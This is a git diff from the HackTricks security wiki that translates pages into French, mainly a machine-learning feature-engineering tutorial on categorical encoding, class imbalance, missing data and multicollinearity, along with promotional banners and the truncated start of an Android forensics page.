[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md index e4ae0b9f2..b6de9ddde 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/README.md @@ -1,38 +1,15 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md index 67cb48766..5c8f1f745 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/ml-basics/feature-engineering.md @@ -1,47 +1,40 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-# Basic types of possible data +# Types de données de base possibles -Data can be **continuous** (**infinity** values) or **categorical** (nominal) where the amount of possible values are **limited**. +Les données peuvent être **continues** (avec des valeurs **infinies**) ou **catégorielles** (nominales) où la quantité de valeurs possibles est **limitée**. -## Categorical types +## Types catégoriels -### Binary - -Just **2 possible values**: 1 or 0. In case in a dataset the values are in string format (e.g. "True" and "False") you assign numbers to those values with: +### Binaire +Seulement **2 valeurs possibles** : 1 ou 0. Dans le cas où dans un ensemble de données les valeurs sont au format chaîne de caractères (par exemple "True" et "False"), vous attribuez des nombres à ces valeurs avec : ```python dataset["column2"] = dataset.column2.map({"T": 1, "F": 0}) ``` - ### **Ordinal** -The **values follows an order**, like in: 1st place, 2nd place... If the categories are strings (like: "starter", "amateur", "professional", "expert") you can map them to numbers as we saw in the binary case. - +Les **valeurs suivent un ordre**, comme dans : 1ère place, 2ème place... Si les catégories sont des chaînes de caractères (comme : "débutant", "amateur", "professionnel", "expert"), vous pouvez les mapper à des nombres comme nous l'avons vu dans le cas binaire. ```python column2_mapping = {'starter':0,'amateur':1,'professional':2,'expert':3} dataset['column2'] = dataset.column2.map(column2_mapping) ``` - -* For **alphabetic columns** you can order them more easily: - +* Pour les colonnes **alphabétiques**, vous pouvez les trier plus facilement : ```python # First get all the uniq values alphabetically sorted possible_values_sorted = dataset.column2.sort_values().unique().tolist() @@ -49,24 +42,20 @@ possible_values_sorted = dataset.column2.sort_values().unique().tolist() possible_values_mapping = {value:idx for idx,value in enumerate(possible_values_sorted)} dataset['column2'] = dataset.column2.map(possible_values_mapping) ``` +### **Cyclique** -### **Cyclical** - -Looks **like ordinal value** because there is an order, but it doesn't mean one is bigger than the other. Also the **distance between them depends on the direction** you are counting. Example: The days of the week, Sunday isn't "bigger" than Monday. - -* There are **different ways** to encode cyclical features, ones may work with only just some algorithms. **In general, dummy encode can be used** +Ressemble à une valeur ordinale car il y a un ordre, mais cela ne signifie pas que l'un est plus grand que l'autre. De plus, la distance entre eux dépend de la direction dans laquelle vous comptez. Exemple : Les jours de la semaine, Dimanche n'est pas "plus grand" que Lundi. +* Il existe différentes façons de coder les caractéristiques cycliques, certaines peuvent fonctionner avec seulement quelques algorithmes. En général, l'encodage de dummies peut être utilisé. ```python column2_dummies = pd.get_dummies(dataset.column2, drop_first=True) dataset_joined = pd.concat([dataset[['column2']], column2_dummies], axis=1) ``` - ### **Dates** -Date are **continuous** **variables**. Can be seen as **cyclical** (because they repeat) **or** as **ordinal** variables (because a time is bigger than a previous one). - -* Usually dates are used as **index** +Les dates sont des **variables continues**. Elles peuvent être considérées comme **cycliques** (car elles se répètent) ou comme des variables **ordonnées** (car un temps est plus grand qu'un temps précédent). +* Habituellement, les dates sont utilisées comme **index**. ```python # Transform dates to datetime dataset["column_date"] = pd.to_datetime(dataset.column_date) @@ -94,28 +83,26 @@ dataset['weekday'] = dataset.transaction_date.dt.weekday # get day names dataset['day_name'] = dataset.transaction_date.apply(lambda x: x.day_name()) ``` +### Multi-catégorie/nominale -### Multi-category/nominal +**Plus de 2 catégories** sans ordre lié. Utilisez `dataset.describe(include='all')` pour obtenir des informations sur les catégories de chaque fonctionnalité. -**More than 2 categories** with no related order. Use `dataset.describe(include='all')` to get information about the categories of each feature. +* Une **chaîne de référence** est une **colonne qui identifie un exemple** (comme le nom d'une personne). Cela peut être dupliqué (parce que 2 personnes peuvent avoir le même nom), mais la plupart seront uniques. Ces données sont **inutiles et doivent être supprimées**. +* Une **colonne clé** est utilisée pour **lier des données entre les tables**. Dans ce cas, les éléments sont uniques. Ces données sont **inutiles et doivent être supprimées**. -* A **referring string** is a **column that identifies an example** (like a name of a person). This can be duplicated (because 2 people may have the same name) but most will be unique. This data is **useless and should be removed**. -* A **key column** is used to **link data between tables**. In this case the elements are unique. his data is **useless and should be removed**. +Pour **encoder les colonnes multi-catégories en nombres** (afin que l'algorithme ML les comprenne), l'**encodage de dummies est utilisé** (et **pas l'encodage one-hot** car cela **n'évite pas la multicollinéarité parfaite**). -To **encode multi-category columns into numbers** (so the ML algorithm understand them), **dummy encoding is used** (and **not one-hot encoding** because it **doesn't avoid perfect multicollinearity**). +Vous pouvez obtenir une **colonne multi-catégorie encodée en one-hot** avec `pd.get_dummies(dataset.column1)`. Cela transformera toutes les classes en fonctionnalités binaires, créant ainsi **une nouvelle colonne par classe possible** et attribuera 1 **valeur True à une colonne**, et le reste sera faux. -You can get a **multi-category column one-hot encoded** with `pd.get_dummies(dataset.column1)`. This will transform all the classes in binary features, so this will create **one new column per possible class** and will assign 1 **True value to one column**, and the rest will be false. +Vous pouvez obtenir une **colonne multi-catégorie encodée en dummies** avec `pd.get_dummies(dataset.column1, drop_first=True)`. Cela transformera toutes les classes en fonctionnalités binaires, créant ainsi **une nouvelle colonne par classe possible moins une** car les **deux dernières colonnes seront reflétées comme "1" ou "0" dans la dernière colonne binaire créée**. Cela évitera la multicollinéarité parfaite, réduisant les relations entre les colonnes. -You can get a **multi-category column dummie encoded** with `pd.get_dummies(dataset.column1, drop_first=True)`. This will transform all the classes in binary features, so this will create **one new column per possible class minus one** as the **last 2 columns will be reflect as "1" or "0" in the last binary column created**. This will avoid perfect multicollinearity, reducing the relations between columns. +# Collinéaire/Multicollinéarité -# Collinear/Multicollinearity +La collinéarité apparaît lorsque **2 fonctionnalités sont liées entre elles**. La multicollinéarité apparaît lorsque celles-ci sont plus de 2. -Collinear appears when **2 features are related to each other**. Multicollineratity appears when those are more than 2. - -In ML **you want that your features are related with the possible results but you don't want them to be related between them**. That's why the **dummy encoding mix the last two columns** of that and **is better than one-hot encoding** which doesn't do that creating a clear relation between all the new featured from the multi-category column. - -VIF is the **Variance Inflation Factor** which **measures the multicollinearity of the features**. A value **above 5 means that one of the two or more collinear features should be removed**. +En ML, **vous voulez que vos fonctionnalités soient liées aux résultats possibles, mais vous ne voulez pas qu'elles soient liées entre elles**. C'est pourquoi l'**encodage de dummies mélange les deux dernières colonnes** de cela et **est meilleur que l'encodage one-hot** qui ne crée pas cela en créant une relation claire entre toutes les nouvelles fonctionnalités de la colonne multi-catégorie. +VIF est le **facteur d'inflation de la variance** qui **mesure la multicollinéarité des fonctionnalités**. Une valeur **supérieure à 5 signifie qu'une des deux ou plusieurs fonctionnalités collinéaires doit être supprimée**. ```python from statsmodels.stats.outliers_influence import variance_inflation_factor from statsmodels.tools.tools import add_constant @@ -125,11 +112,9 @@ onehot_encoded = pd.get_dummies(dataset.column1) X = add_constant(onehot_encoded) # Add previously one-hot encoded data print(pd.Series([variance_inflation_factor(X.values,i) for i in range(X.shape[1])], index=X.columns)) ``` +# Déséquilibre catégoriel -# Categorical Imbalance - -This occurs when there is **not the same amount of each category** in the training data. - +Cela se produit lorsqu'il n'y a **pas le même nombre de chaque catégorie** dans les données d'entraînement. ```python # Get statistic of the features print(dataset.describe(include='all')) @@ -138,13 +123,11 @@ print(dataset.info()) # Get imbalance information of the target column print(dataset.target_column.value_counts()) ``` +Dans un déséquilibre, il y a toujours une ou plusieurs **classes majoritaires** et une ou plusieurs **classes minoritaires**. -In an imbalance there is always a **majority class or classes** and a **minority class or classes**. - -There are 2 main ways to fix this problem: - -* **Undersampling**: Removing randomly selected data from the majority class so it has the same number of samples as the minority class. +Il existe 2 principales façons de résoudre ce problème : +* **Sous-échantillonnage** : Supprimer aléatoirement des données de la classe majoritaire afin qu'elle ait le même nombre d'échantillons que la classe minoritaire. ```python from imblearn.under_sampling import RandomUnderSampler rus = RandomUserSampler(random_state=1337) @@ -155,9 +138,7 @@ y = dataset.target_column X_under, y_under = rus.fit_resample(X,y) print(y_under.value_counts()) #Confirm data isn't imbalanced anymore ``` - -* **Oversampling**: Generating more data for the minority class until it has as many samples as the majority class. - +* **Suréchantillonnage**: Générer plus de données pour la classe minoritaire jusqu'à ce qu'elle ait autant d'échantillons que la classe majoritaire. ```python from imblearn.under_sampling import RandomOverSampler ros = RandomOverSampler(random_state=1337) @@ -168,17 +149,15 @@ y = dataset.target_column X_over, y_over = ros.fit_resample(X,y) print(y_over.value_counts()) #Confirm data isn't imbalanced anymore ``` - -You can use the argument **`sampling_strategy`** to indicate the **percentage** you want to **undersample or oversample** (**by default it's 1 (100%)** which means to equal the number of minority classes with majority classes) +Vous pouvez utiliser l'argument **`sampling_strategy`** pour indiquer le **pourcentage** que vous souhaitez **sous-échantillonner ou sur-échantillonner** (**par défaut, c'est 1 (100%)** ce qui signifie égaliser le nombre de classes minoritaires avec les classes majoritaires). {% hint style="info" %} -Undersamplig or Oversampling aren't perfect if you get statistics (with `.describe()`) of the over/under-sampled data and compare them to the original you will see **that they changed.** Therefore oversampling and undersampling are modifying the training data. +La sous-échantillonnage ou la sur-échantillonnage ne sont pas parfaites, si vous obtenez des statistiques (avec `.describe()`) des données sur/sous-échantillonnées et que vous les comparez à l'original, vous verrez **qu'elles ont changé**. Par conséquent, la sur-échantillonnage et la sous-échantillonnage modifient les données d'entraînement. {% endhint %} -## SMOTE oversampling - -**SMOTE** is usually a **more trustable way to oversample the data**. +## Sur-échantillonnage SMOTE +**SMOTE** est généralement une **méthode plus fiable pour sur-échantillonner les données**. ```python from imblearn.over_sampling import SMOTE @@ -189,54 +168,50 @@ dataset_smote = pd.DataFrame(X_smote, columns=['column1', 'column2', 'column3']) dataset['target_column'] = y_smote print(y_smote.value_counts()) #Confirm data isn't imbalanced anymore ``` +# Catégories rarement présentes -# Rarely Occurring Categories +Imaginez un ensemble de données où l'une des classes cibles **apparaît très peu de fois**. -Imagine a dataset where one of the target classes **occur very little times**. +C'est comme le déséquilibre de catégorie de la section précédente, mais la catégorie rarement présente apparaît encore moins que la "classe minoritaire" dans ce cas. Les méthodes de **suréchantillonnage** et de **sous-échantillonnage** brutes pourraient également être utilisées ici, mais en général, ces techniques **ne donneront pas de très bons résultats**. -This is like the category imbalance from the previous section, but the rarely occurring category is occurring even less than "minority class" in that case. The **raw** **oversampling** and **undersampling** methods could be also used here, but generally those techniques **won't give really good results**. - -## Weights - -In some algorithms it's possible to **modify the weights of the targeted data** so some of them get by default more importance when generating the model. +## Poids +Dans certains algorithmes, il est possible de **modifier les poids des données ciblées** afin que certaines d'entre elles aient par défaut plus d'importance lors de la génération du modèle. ```python weights = {0: 10 1:1} #Assign weight 10 to False and 1 to True model = LogisticRegression(class_weight=weights) ``` +Vous pouvez **mélanger les poids avec des techniques de sur/sous-échantillonnage** pour essayer d'améliorer les résultats. -You can **mix the weights with over/under-sampling techniques** to try to improve the results. +## PCA - Analyse en Composantes Principales -## PCA - Principal Component Analysis +C'est une méthode qui aide à réduire la dimensionnalité des données. Elle va **combiner différentes caractéristiques** pour **réduire leur quantité** en générant des **caractéristiques plus utiles** (_moins de calculs sont nécessaires_). -Is a method that helps to reduce the dimensionality of the data. It's going to **combine different features** to **reduce the amount** of them generating **more useful features** (_less computation is needed_). +Les caractéristiques résultantes ne sont pas compréhensibles par les humains, donc cela **anonymise également les données**. -The resulting features aren't understandable by humans, so it also **anonymize the data**. +# Catégories d'étiquettes incohérentes -# Incongruent Label Categories +Les données peuvent comporter des erreurs dues à des transformations infructueuses ou simplement à des erreurs humaines lors de la saisie des données. -Data might have mistakes for unsuccessful transformations or just because human error when writing the data. +Par conséquent, vous pouvez trouver la **même étiquette avec des fautes d'orthographe**, des **différences de majuscules**, des **abréviations** comme: _BLUE, Blue, b, bule_. Vous devez corriger ces erreurs d'étiquetage dans les données avant de former le modèle. -Therefore you might find the **same label with spelling mistakes**, different **capitalisation**, **abbreviations** like: _BLUE, Blue, b, bule_. You need to fix these label errors inside the data before training the model. +Vous pouvez résoudre ces problèmes en mettant tout en minuscules et en faisant correspondre les étiquettes mal orthographiées aux bonnes. -You can clean this issues by lowercasing everything and mapping misspelled labels to the correct ones. +Il est très important de vérifier que **toutes les données que vous avez contiennent des étiquettes correctes**, car par exemple, une erreur d'orthographe dans les données, lors de l'encodage des classes, générera une nouvelle colonne dans les caractéristiques finales avec des **conséquences néfastes pour le modèle final**. Cet exemple peut être détecté très facilement en encodant à chaud une colonne et en vérifiant les noms des colonnes créées. -It's very important to check that **all the data that you have contains is correctly labeled**, because for example, one misspelling error in the data, when dummie encoding the classes, will generate a new column in the final features with **bad consequences for the final model**. This example can be detected very easily by one-hot encoding a column and checking the names of the columns created. +# Données manquantes -# Missing Data +Certaines données de l'étude peuvent être manquantes. -Some data of the study may be missing. +Il se peut que certaines données aléatoires complètes soient manquantes en raison d'une erreur. Ce type de données est **manquant complètement au hasard** (**MCAR**). -It might happen that some complete random data is missing for some error. This is kind of da ta is **Missing Completely at Random** (**MCAR**). +Il se pourrait que certaines données aléatoires soient manquantes, mais qu'il y ait quelque chose qui rend certains détails plus probables d'être manquants, par exemple, les hommes donneront plus fréquemment leur âge mais pas les femmes. Cela s'appelle **manquant au hasard** (**MAR**). -It could be that some random data is missing but there is something making some specific details more probable to be missing, for example more frequently man will tell their their age but not women. This is call **Missing at Random** (**MAR**). +Enfin, il pourrait y avoir des données **manquantes non au hasard** (**MNAR**). La valeur des données est directement liée à la probabilité d'avoir les données. Par exemple, si vous voulez mesurer quelque chose de gênant, plus quelqu'un est gêné, moins il est probable qu'il le partage. -Finally, there could be data **Missing Not at Random** (**MNAR**). The vale of the data is directly related with the probability of having the data. For example, if you want to measure something embarrassing, the most embarrassing someone is, the less probable he is going to share it. - -The **two first categories** of missing data can be **ignorable**. But the **third one** requires to consider **only portions of the data** that isn't impacted or to try to **model the missing data somehow**. - -One way to find about missing data is to use `.info()` function as it will indicate the **number of rows but also the number of values per category**. If some category has less values than number of rows, then there is some data missing: +Les **deux premières catégories** de données manquantes peuvent être **ignorées**. Mais la **troisième** nécessite de considérer **seulement des portions des données** qui ne sont pas impactées ou d'essayer de **modéliser les données manquantes d'une certaine manière**. +Une façon de découvrir les données manquantes est d'utiliser la fonction `.info()` car elle indiquera le **nombre de lignes mais aussi le nombre de valeurs par catégorie**. Si une catégorie a moins de valeurs que le nombre de lignes, alors il manque des données : ```bash # Get info of the dataset dataset.info() @@ -244,35 +219,29 @@ dataset.info() # Drop all rows where some value is missing dataset.dropna(how='any', axis=0).info() ``` - -It's usually recommended that if a feature is **missing in more than the 20%** of the dataset, the **column should be removed:** - +Il est généralement recommandé que si une fonctionnalité est **manquante dans plus de 20%** de l'ensemble de données, la **colonne doit être supprimée :** ```bash # Remove column dataset.drop('Column_name', axis='columns', inplace=True) dataset.info() ``` - {% hint style="info" %} -Note that **not all the missing values are missing in the dataset**. It's possible that missing values have been giving the value "Unknown", "n/a", "", -1, 0... You need to check the dataset (using `dataset.column`_`name.value`_`counts(dropna=False)` to check the possible values). +Notez que **toutes les valeurs manquantes ne sont pas manquantes dans l'ensemble de données**. Il est possible que des valeurs manquantes aient été données avec la valeur "Inconnu", "n/a", "", -1, 0... Vous devez vérifier l'ensemble de données (en utilisant `ensemble_de_données.nom_de_colonne.valeur_comptes(dropna=False)` pour vérifier les valeurs possibles). {% endhint %} -If some data is missing in the dataset (in it's not too much) you need to find the **category of the missing data**. For that you basically need to know if the **missing data is at random or not**, and for that you need to find if the **missing data was correlated with other data** of the dataset. - -To find if a missing value if correlated with another column, you can create a new column that put 1s and 0s if the data is missing or isn't and then calculate the correlation between them: +Si des données sont manquantes dans l'ensemble de données (et qu'il n'y en a pas trop), vous devez trouver la **catégorie de données manquantes**. Pour cela, vous devez essentiellement savoir si les **données manquantes sont aléatoires ou non**, et pour cela, vous devez trouver si les **données manquantes étaient corrélées avec d'autres données** de l'ensemble de données. +Pour savoir si une valeur manquante est corrélée avec une autre colonne, vous pouvez créer une nouvelle colonne qui met des 1 et des 0 si les données sont manquantes ou non, puis calculer la corrélation entre elles : ```bash # The closer it's to 1 or -1 the more correlated the data is # Note that columns are always perfectly correlated with themselves. dataset[['column_name', 'cloumn_missing_data']].corr() ``` +Si vous décidez d'ignorer les données manquantes, vous devez quand même décider quoi faire avec : vous pouvez **supprimer les lignes** avec des données manquantes (les données d'entraînement pour le modèle seront plus petites), vous pouvez **supprimer complètement la caractéristique**, ou vous pouvez **la modéliser**. -If you decide to ignore the missing data you still need to do what to do with it: You can **remove the rows** with missing data (the train data for the model will be smaller), you can r**emove the feature** completely, or could **model it**. - -You should **check the correlation between the missing feature with the target column** to see how important that feature is for the target, if it's really **small** you can **drop it or fill it**. - -To fill missing **continuous data** you could use: the **mean**, the **median** or use an **imputation** algorithm. The imputation algorithm can try to use other features to find a value for the missing feature: +Vous devriez **vérifier la corrélation entre la caractéristique manquante et la colonne cible** pour voir à quel point cette caractéristique est importante pour la cible, si elle est vraiment **petite**, vous pouvez **la supprimer ou la remplir**. +Pour remplir les données continues manquantes, vous pouvez utiliser : la **moyenne**, la **médiane** ou utiliser un **algorithme d'imputation**. L'algorithme d'imputation peut essayer d'utiliser d'autres caractéristiques pour trouver une valeur pour la caractéristique manquante : ```python from sklearn.impute import KNNImputer @@ -288,13 +257,11 @@ dataset_imp = pd.DataFrame(X_imp) dataset.columns = ['column1', 'column2', 'column3'] dataset.iloc[10:20] # Get some indexes that contained empty data before ``` +Pour remplir les données catégorielles, tout d'abord, vous devez réfléchir s'il y a une raison pour laquelle les valeurs sont manquantes. Si c'est par **choix des utilisateurs** (ils ne voulaient pas donner les données), vous pouvez peut-être **créer une nouvelle catégorie** l'indiquant. S'il s'agit d'une erreur humaine, vous pouvez **supprimer les lignes** ou la **caractéristique** (vérifiez les étapes mentionnées précédemment) ou **remplir avec le mode, la catégorie la plus utilisée** (non recommandé). -To fill categorical data first of all you need to think if there is any reason why the values are missing. If it's by **choice of the users** (they didn't want to give the data) maybe yo can **create a new category** indicating that. If it's because of human error you can **remove the rows** or the **feature** (check the steps mentioned before) or **fill it with the mode, the most used category** (not recommended). - -# Combining Features - -If you find **two features** that are **correlated** between them, usually you should **drop** one of them (the one that is less correlated with the target), but you could also try to **combine them and create a new feature**. +# Combinaison de caractéristiques +Si vous trouvez **deux caractéristiques** qui sont **corrélées** entre elles, vous devriez généralement **supprimer** l'une d'entre elles (celle qui est moins corrélée avec la cible), mais vous pouvez également essayer de **les combiner et de créer une nouvelle caractéristique**. ```python # Create a new feautr combining feature1 and feature2 dataset['new_feature'] = dataset.column1/dataset.column2 @@ -307,22 +274,18 @@ X = add_constant(dataset[['column1', 'column2', 'target']]) # Calculate VIF pd.Series([variance_inflation_factor(X.values, i) for i in range(X.shape[1])], index=X.columns) ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - diff --git a/android-forensics.md b/android-forensics.md index e3c564840..2d2ea0a96 100644 --- a/android-forensics.md +++ b/android-forensics.md @@ -4,52 +4,36 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo 